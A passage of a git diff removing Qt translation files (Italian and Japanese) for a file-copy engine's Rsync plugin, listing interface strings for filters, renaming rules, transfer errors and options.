- <name>Factory</name>
- <message>
- <location filename="../../factory.cpp" line="369"/>
- <location filename="../../factory.cpp" line="406"/>
- <source>Options error</source>
- <translation>opzioni di errore</translation>
- </message>
- <message>
- <location filename="../../factory.cpp" line="369"/>
- <location filename="../../factory.cpp" line="406"/>
- <source>Options engine is not loaded, can&apos;t access to the filters</source>
- <translation>Opzioni del motore non viene caricato, non possono accedere ai filtri</translation>
- </message>
-</context>
-<context>
- <name>FilterRules</name>
- <message>
- <location filename="../../FilterRules.ui" line="33"/>
- <source>Search:</source>
- <translation>Cerca:</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="43"/>
- <source>Search type:</source>
- <translation>Tipo di ricerca:</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="51"/>
- <source>Raw text</source>
- <translation>testo Raw</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="56"/>
- <source>Simplified regex</source>
- <translation>semplificato regex</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="61"/>
- <source>Perl&apos;s regex</source>
- <translation>Perl&apos;s regex</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="69"/>
- <source>Apply on:</source>
- <translation>Applicare su:</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="77"/>
- <source>File</source>
- <translation>File</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="82"/>
- <source>Folder</source>
- <translation>Cartella</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="87"/>
- <source>File and folder</source>
- <translation>File e cartelle</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="95"/>
- <source>All string need match</source>
- <translation>Tutti stringa bisogno di corrispondere</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="102"/>
- <source>Checking</source>
- <translation>Verifica</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="115"/>
- <source>Test string:</source>
- <translation>Test stringa:</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="17"/>
- <source>Filters dialog</source>
- <translation>Filtri di dialogo</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="108"/>
- <source>The regex is valid</source>
- <translation>La regex è valido</translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="125"/>
- <source>The test string match with the regex</source>
- <translation>La stringa di test match con la regex</translation>
- </message>
-</context>
-<context>
- <name>Filters</name>
- <message>
- <location filename="../../Filters.ui" line="14"/>
- <source>Filters</source>
- <translation>Filtri</translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="30"/>
- <source>Exclusion filter</source>
- <translation>Esclusione filtro</translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="93"/>
- <source>Inclusion filter</source>
- <translation>inclusione filtro</translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="105"/>
- <source>None = Include all</source>
- <translation>Nessuno = Includi tutte le</translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="92"/>
- <location filename="../../Filters.cpp" line="130"/>
- <source>Raw text</source>
- <translation>testo Raw</translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="95"/>
- <location filename="../../Filters.cpp" line="133"/>
- <source>Simplified regex</source>
- <translation>semplificato regex</translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="98"/>
- <location filename="../../Filters.cpp" line="136"/>
- <source>Perl&apos;s regex</source>
- <translation>Perl&apos;s regex</translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="106"/>
- <location filename="../../Filters.cpp" line="144"/>
- <source>Only on file</source>
- <translation>Solo su file</translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="109"/>
- <location filename="../../Filters.cpp" line="147"/>
- <source>Only on folder</source>
- <translation>Solo sulla cartella</translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="115"/>
- <location filename="../../Filters.cpp" line="153"/>
- <location filename="../../Filters.cpp" line="215"/>
- <location filename="../../Filters.cpp" line="254"/>
- <source>Full match</source>
- <translation>partita completa</translation>
- </message>
-</context>
-<context>
- <name>ListThread</name>
- <message>
- <location filename="../../ListThread.cpp" line="1192"/>
- <source>Unable do to move or copy item into wrong forced mode: %1</source>
- <translation>Impossibile fare per spostare o copiare elemento in male modo forzato: %1</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1199"/>
- <source>Unable to save the transfer list: %1</source>
- <translation>Impossibile salvare la lista dei trasferimenti: %1</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1215"/>
- <source>Problem at the reading, or file size is null</source>
- <translation>Problema alla lettura, o la dimensione del file è nullo</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1222"/>
- <source>Wrong header: &quot;%1&quot;</source>
- <translation>Sbagliato intestazione: &quot;%1&quot;</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1231"/>
- <source>The transfer list is in mixed mode, but this instance is not in this mode</source>
- <translation>La lista di trasferimento è in modalità mista, ma questa istanza non è in questa modalità</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1240"/>
- <source>The transfer list is in copy mode, but this instance is not in this mode</source>
- <translation>La lista di trasferimento è in modalità di copia, ma questa istanza non è in questa modalità</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1246"/>
- <source>The transfer list is in move mode, but this instance is not in this mode</source>
- <translation>La lista di trasferimento è in modalità di spostamento, ma questa istanza non è in questa modalità</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1293"/>
- <source>Some error have been found during the line parsing</source>
- <translation>Alcuni errori sono stati trovati durante l&apos;analisi linea</translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1299"/>
- <source>Unable to open the transfer list: %1</source>
- <translation>Impossibile aprire la lista di trasferimento: %1</translation>
- </message>
-</context>
-<context>
- <name>MkPath</name>
- <message>
- <location filename="../../MkPath.cpp" line="62"/>
- <source>Unable to create the folder</source>
- <translation>Impossibile creare la cartella</translation>
- </message>
-</context>
-<context>
- <name>ReadThread</name>
- <message>
- <location filename="../../ReadThread.cpp" line="154"/>
- <location filename="../../ReadThread.cpp" line="316"/>
- <source>Unable to read the source file: </source>
- <translation>Impossibile leggere il file sorgente: </translation>
- </message>
- <message>
- <location filename="../../ReadThread.cpp" line="193"/>
- <location filename="../../ReadThread.cpp" line="373"/>
- <source>File truncated during the read, possible data change</source>
- <translation>File troncato durante la lettura, i possibili cambiamenti di dati</translation>
- </message>
-</context>
-<context>
- <name>RenamingRules</name>
- <message>
- <location filename="../../RenamingRules.ui" line="26"/>
- <source>First renaming</source>
- <translation>Prima ridenominazione</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="32"/>
- <source>%name% - copy</source>
- <extracomment>%name% should not be translated</extracomment>
- <translation>%name% - copia</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="39"/>
- <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
- <extracomment> should not be translated</extracomment>
- <translation>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;variabili: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; per il nome del file originale&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="49"/>
- <source>Second renaming</source>
- <translation>Secondo ridenominazione</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="55"/>
- <source>%name% - copy (%number%)</source>
- <extracomment>%name%, %number% should not be translated</extracomment>
- <translation>%name% - copia (%number%)</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="62"/>
- <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;p&gt;&lt;span style=&quot; font-weight:600;&quot;&gt;%number%&lt;/span&gt; for the extra number&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
- <extracomment>%name%, %number% should not be translated</extracomment>
- <translation>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;variabili: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; per il nome del file originale&lt;/p&gt;&lt;p&gt;&lt;span style=&quot; font-weight:600;&quot;&gt;%number%&lt;/span&gt; per il numero aggiuntivo&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.cpp" line="39"/>
- <location filename="../../RenamingRules.cpp" line="62"/>
- <source>%1 - copy</source>
- <translation>%1 - copia</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.cpp" line="43"/>
- <location filename="../../RenamingRules.cpp" line="73"/>
- <source>%1 - copy (%2)</source>
- <translation>%1 - copia (%2)</translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="14"/>
- <source>Renaming rules</source>
- <translation>Rinominare le regole</translation>
- </message>
-</context>
-<context>
- <name>RmPath</name>
- <message>
- <location filename="../../RmPath.cpp" line="61"/>
- <location filename="../../RmPath.cpp" line="75"/>
- <source>Unable to remove the folder</source>
- <translation>Impossibile rimuovere la cartella</translation>
- </message>
- <message>
- <location filename="../../RmPath.cpp" line="85"/>
- <source>Unable to remove the file</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>TransferThread</name>
- <message>
- <location filename="../../TransferThread.cpp" line="312"/>
- <source>%1 - copy</source>
- <translation>%1 - copia</translation>
- </message>
- <message>
- <location filename="../../TransferThread.cpp" line="322"/>
- <source>%1 - copy (%2)</source>
- <translation>%1 - copia (%2)</translation>
- </message>
- <message>
- <location filename="../../TransferThread.cpp" line="627"/>
- <source>The checksums not match</source>
- <translation>Il checksum non corrisponde</translation>
- </message>
-</context>
-<context>
- <name>WriteThread</name>
- <message>
- <location filename="../../WriteThread.cpp" line="443"/>
- <source>Unable to read the source file: </source>
- <translation>Impossibile leggere il file sorgente: </translation>
- </message>
- <message>
- <location filename="../../WriteThread.cpp" line="481"/>
- <source>File truncated during the read, possible data change</source>
- <translation>File troncato durante la lettura, i possibili cambiamenti di dati</translation>
- </message>
-</context>
-<context>
- <name>copyEngine</name>
- <message>
- <location filename="../../copyEngine.cpp" line="260"/>
- <location filename="../../copyEngine.cpp" line="278"/>
- <source>The engine is forced to move, you can&apos;t copy with it</source>
- <translation>Il motore è costretto a muoversi, non è possibile copiare con esso</translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="289"/>
- <location filename="../../copyEngine.cpp" line="307"/>
- <source>The engine is forced to copy, you can&apos;t move with it</source>
- <translation>Il motore è costretto a copiare, non è possibile spostare con esso</translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="521"/>
- <source>The mode have been forced previously, it&apos;s internal error, please report it</source>
- <translation>La modalità sono stati costretti in precedenza, è un errore interno, si prega di segnalarlo</translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="795"/>
- <source>Options error</source>
- <translation>opzioni di errore</translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="795"/>
- <source>Options engine is not loaded, can&apos;t access to the filters</source>
- <translation>Opzioni del motore non viene caricato, non possono accedere ai filtri</translation>
- </message>
-</context>
-<context>
- <name>fileErrorDialog</name>
- <message>
- <location filename="../../fileErrorDialog.ui" line="14"/>
- <source>Error on file</source>
- <translation>Errore su file</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="20"/>
- <source>Error</source>
- <translation>Errore</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="56"/>
- <source>Size</source>
- <translation>Dimensione</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="73"/>
- <source>Modified</source>
- <translation>Modificato</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="90"/>
- <source>File name</source>
- <translation>Nome file</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="136"/>
- <source>&amp;Always do this action</source>
- <translation>Eseguire sempre questa azione</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="156"/>
- <source>Put to bottom</source>
- <translation>Mettere a fondo</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="163"/>
- <source>Retry</source>
- <translation>Riprova</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="170"/>
- <source>&amp;Skip</source>
- <translation>Saltare</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="177"/>
- <source>&amp;Cancel</source>
- <translation>Annullare</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.cpp" line="29"/>
- <source>Error on folder</source>
- <translation>Errore cartella</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.cpp" line="32"/>
- <source>Folder name</source>
- <translation>Nome della cartella</translation>
- </message>
-</context>
-<context>
- <name>fileExistsDialog</name>
- <message>
- <location filename="../../fileExistsDialog.ui" line="14"/>
- <source>The file exists</source>
- <translation>Il file esiste</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="34"/>
- <source>Source</source>
- <translation>Fonte</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="50"/>
- <source>Destination</source>
- <translation>Destinazione</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="82"/>
- <location filename="../../fileExistsDialog.ui" line="153"/>
- <source>Size</source>
- <translation>Dimensione</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="99"/>
- <location filename="../../fileExistsDialog.ui" line="170"/>
- <source>Modified</source>
- <translation>Modificato</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="116"/>
- <location filename="../../fileExistsDialog.ui" line="187"/>
- <source>File name</source>
- <translation>Nome file</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="243"/>
- <source>Suggest new &amp;name</source>
- <translation>Suggerisci nuovo nome</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="254"/>
- <source>&amp;Always do this action</source>
- <translation>Eseguire sempre questa azione</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="274"/>
- <source>&amp;Rename</source>
- <translation>Rinominare</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="281"/>
- <source>&amp;Overwrite</source>
- <translation>Sovrascrivi</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="291"/>
- <source>&amp;Skip</source>
- <translation>Saltare</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="298"/>
- <source>&amp;Cancel</source>
- <translation>Annullare</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="307"/>
- <source>Overwrite if newer</source>
- <translation>Sovrascrivi se più recente</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="312"/>
- <source>Overwrite if not same modification date</source>
- <translation>Sovrascrivi se non la data di modifica stessa</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.cpp" line="102"/>
- <source>%1 - copy</source>
- <translation>%1 - copia</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.cpp" line="112"/>
- <source>%1 - copy (%2)</source>
- <translation>%1 - copia (%2)</translation>
- </message>
-</context>
-<context>
- <name>fileIsSameDialog</name>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="14"/>
- <source>This files are the same file</source>
- <translation>Questi file sono lo stesso file</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="20"/>
- <source>The source and destination is same</source>
- <translation>La sorgente e destinazione è uguale</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="47"/>
- <source>Size</source>
- <translation>Dimensione</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="64"/>
- <source>Modified</source>
- <translation>Modificato</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="81"/>
- <source>File name</source>
- <translation>Nome file</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="137"/>
- <source>Suggest new &amp;name</source>
- <translation>Suggerisci nuovo nome</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="148"/>
- <source>&amp;Always do this action</source>
- <translation>Eseguire sempre questa azione</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="168"/>
- <source>&amp;Rename</source>
- <translation>Rinominare</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="175"/>
- <source>&amp;Skip</source>
- <translation>Saltare</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="182"/>
- <source>&amp;Cancel</source>
- <translation>Annullare</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.cpp" line="87"/>
- <source>%1 - copy</source>
- <translation>%1 - copia</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.cpp" line="97"/>
- <source>%1 - copy (%2)</source>
- <translation>%1 - copia (%2)</translation>
- </message>
-</context>
-<context>
- <name>folderExistsDialog</name>
- <message>
- <location filename="../../folderExistsDialog.ui" line="14"/>
- <source>This folders are the same folder</source>
- <translation>Questo cartelle sono nella stessa cartella</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="34"/>
- <source>Source</source>
- <translation>Fonte</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="50"/>
- <source>Destination</source>
- <translation>Destinazione</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="62"/>
- <source>The source and destination is same</source>
- <translation>La sorgente e destinazione è uguale</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="89"/>
- <location filename="../../folderExistsDialog.ui" line="140"/>
- <source>Modified</source>
- <translation>Modificato</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="106"/>
- <location filename="../../folderExistsDialog.ui" line="150"/>
- <source>Folder name</source>
- <translation>Nome della cartella</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="200"/>
- <source>Suggest new &amp;name</source>
- <translation>Suggerisci nuovo nome</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="211"/>
- <source>&amp;Always do this action</source>
- <translation>Eseguire sempre questa azione</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="218"/>
- <source>&amp;Rename</source>
- <translation>Rinominare</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="225"/>
- <source>Merge</source>
- <translation>Unire</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="232"/>
- <source>Skip</source>
- <translation>Saltare</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="239"/>
- <source>&amp;Cancel</source>
- <translation>Annullare</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="29"/>
- <source>Folder already exists</source>
- <translation>Cartella esiste già</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="85"/>
- <source>%1 - copy</source>
- <translation>%1 - copia</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="95"/>
- <source>%1 - copy (%2)</source>
- <translation>%1 - copia (%2)</translation>
- </message>
-</context>
-<context>
- <name>options</name>
- <message>
- <location filename="../../options.ui" line="23"/>
- <source>Transfer the file rights</source>
- <translation>Trasferire i diritti di file</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="33"/>
- <source>Keep the file date</source>
- <translation>Tenere la data del file</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="214"/>
- <source>Block size</source>
- <translation>Dimensione del blocco</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="43"/>
- <location filename="../../options.ui" line="198"/>
- <source>KB</source>
- <translation></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="56"/>
- <source>Auto start the transfer</source>
- <translation>Auto iniziare il trasferimento</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="66"/>
- <source>When folder error</source>
- <translation>Quando errore cartella</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="74"/>
- <location filename="../../options.ui" line="95"/>
- <source>Ask</source>
- <translation>Chiedere</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="79"/>
- <location filename="../../options.ui" line="105"/>
- <source>Skip</source>
- <translation>Saltare</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="100"/>
- <source>Merge</source>
- <translation>Unire</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="110"/>
- <source>Rename</source>
- <translation>Rinominare</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="118"/>
- <source>Check if destination folder exists</source>
- <translation>Controllare se la cartella di destinazione esiste</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="255"/>
- <source>Rsync (only in copy mode)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="87"/>
- <source>When folder collision</source>
- <translation>Quando collisione cartella</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="128"/>
- <source>Checksum</source>
- <translation></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="144"/>
- <source>Only after error</source>
- <translation>Solo dopo l&apos;errore</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="154"/>
- <source>Ignore if impossible</source>
- <translation>Ignora se impossibile</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="171"/>
- <source>Do checksum</source>
- <translation>Fare checksum</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="181"/>
- <source>Enable OS buffer</source>
- <translation>Abilita OS tampone</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="234"/>
- <source>Filters</source>
- <translation>Filtri</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="241"/>
- <source>Renaming rules</source>
- <translation>Rinominare le regole</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="191"/>
- <source>OS buffer only if smaller than</source>
- <translation>OS tampone solo se inferiori</translation>
- </message>
-</context>
-<context>
- <name>scanFileOrFolder</name>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="219"/>
- <location filename="../../scanFileOrFolder.cpp" line="283"/>
- <source>%1 - copy</source>
- <translation>%1 - copia</translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="229"/>
- <location filename="../../scanFileOrFolder.cpp" line="293"/>
- <source>%1 - copy (%2)</source>
- <translation>%1 - copia (%2)</translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="327"/>
- <source>The folder not exists</source>
- <translation>La cartella non esiste</translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="329"/>
- <source>The folder is not readable</source>
- <translation>La cartella non è leggibile</translation>
- </message>
-</context>
-</TS>
diff --git a/plugins-alternative/CopyEngine/Rsync/Languages/ja/translation.ts b/plugins-alternative/CopyEngine/Rsync/Languages/ja/translation.ts
deleted file mode 100644
index 9c2e5d6..0000000
--- a/plugins-alternative/CopyEngine/Rsync/Languages/ja/translation.ts
+++ /dev/null
@@ -1,806 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE TS>
-<TS version="2.0">
-<context>
- <name>AvancedQFile</name>
- <message>
- <location filename="../../AvancedQFile.cpp" line="28"/>
- <location filename="../../AvancedQFile.cpp" line="59"/>
- <location filename="../../AvancedQFile.cpp" line="90"/>
- <source>Not supported on this platform</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../AvancedQFile.cpp" line="42"/>
- <source>Last modified date is wrong</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../AvancedQFile.cpp" line="73"/>
- <source>Last access date is wrong</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>Factory</name>
- <message>
- <location filename="../../factory.cpp" line="369"/>
- <location filename="../../factory.cpp" line="406"/>
- <source>Options error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../factory.cpp" line="369"/>
- <location filename="../../factory.cpp" line="406"/>
- <source>Options engine is not loaded, can&apos;t access to the filters</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>FilterRules</name>
- <message>
- <location filename="../../FilterRules.ui" line="17"/>
- <source>Filters dialog</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="33"/>
- <source>Search:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="43"/>
- <source>Search type:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="51"/>
- <source>Raw text</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="56"/>
- <source>Simplified regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="61"/>
- <source>Perl&apos;s regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="69"/>
- <source>Apply on:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="77"/>
- <source>File</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="82"/>
- <source>Folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="87"/>
- <source>File and folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="95"/>
- <source>All string need match</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="102"/>
- <source>Checking</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="108"/>
- <source>The regex is valid</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="115"/>
- <source>Test string:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="125"/>
- <source>The test string match with the regex</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>Filters</name>
- <message>
- <location filename="../../Filters.ui" line="14"/>
- <source>Filters</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="30"/>
- <source>Exclusion filter</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="93"/>
- <source>Inclusion filter</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="105"/>
- <source>None = Include all</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="92"/>
- <location filename="../../Filters.cpp" line="130"/>
- <source>Raw text</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="95"/>
- <location filename="../../Filters.cpp" line="133"/>
- <source>Simplified regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="98"/>
- <location filename="../../Filters.cpp" line="136"/>
- <source>Perl&apos;s regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="106"/>
- <location filename="../../Filters.cpp" line="144"/>
- <source>Only on file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="109"/>
- <location filename="../../Filters.cpp" line="147"/>
- <source>Only on folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="115"/>
- <location filename="../../Filters.cpp" line="153"/>
- <location filename="../../Filters.cpp" line="215"/>
- <location filename="../../Filters.cpp" line="254"/>
- <source>Full match</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>ListThread</name>
- <message>
- <location filename="../../ListThread.cpp" line="1192"/>
- <source>Unable do to move or copy item into wrong forced mode: %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1199"/>
- <source>Unable to save the transfer list: %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1215"/>
- <source>Problem at the reading, or file size is null</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1222"/>
- <source>Wrong header: &quot;%1&quot;</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1231"/>
- <source>The transfer list is in mixed mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1240"/>
- <source>The transfer list is in copy mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1246"/>
- <source>The transfer list is in move mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1293"/>
- <source>Some error have been found during the line parsing</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1299"/>
- <source>Unable to open the transfer list: %1</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>MkPath</name>
- <message>
- <location filename="../../MkPath.cpp" line="62"/>
- <source>Unable to create the folder</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>ReadThread</name>
- <message>
- <location filename="../../ReadThread.cpp" line="154"/>
- <location filename="../../ReadThread.cpp" line="316"/>
- <source>Unable to read the source file: </source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ReadThread.cpp" line="193"/>
- <location filename="../../ReadThread.cpp" line="373"/>
- <source>File truncated during the read, possible data change</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
